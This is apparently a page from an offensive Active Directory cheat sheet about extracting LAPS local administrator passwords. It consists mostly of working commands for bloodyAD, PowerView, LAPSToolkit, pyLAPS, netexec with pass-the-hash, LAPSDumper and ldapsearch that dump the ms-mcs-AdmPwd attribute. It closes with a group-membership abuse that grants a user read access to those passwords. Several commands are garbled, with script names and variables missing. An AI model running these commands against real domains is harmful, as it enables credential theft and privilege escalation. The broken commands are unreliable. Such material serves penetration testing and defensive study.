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Password - LAPS

Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users - Windows/Linux:

bloodyAD -u john.doe -d bloody.lab -p Password512 --host get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
- From Windows:

  • adsisearcher (native binary on Windows 8+)

    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $}
    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $}

  • PowerView

    PS > Import-Module .\PowerView.ps1
    PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime

  • LAPSToolkit

    $ Get-LAPSComputers
    ComputerName                Password                                 Expiration         
    ------------                --------                                 ----------         
    example.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18
    $ Find-LAPSDelegatedGroups
    $ Find-AdmPwdExtendedRights

  • Powershell AdmPwd.PS

    foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $|where {$ -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

  • From Linux:

  • pyLAPS to read and write LAPS passwords:

    # Read the password of all computers
    ./ --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip
    # Write a random password to a specific computer
    ./ --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip

  • netexec:

    netexec smb -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps

  • LAPSDumper

    python -u 'user' -p 'password' -d 'domain.local'
    python -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'

  • ldapsearch

    ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`

Grant LAPS Access

The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"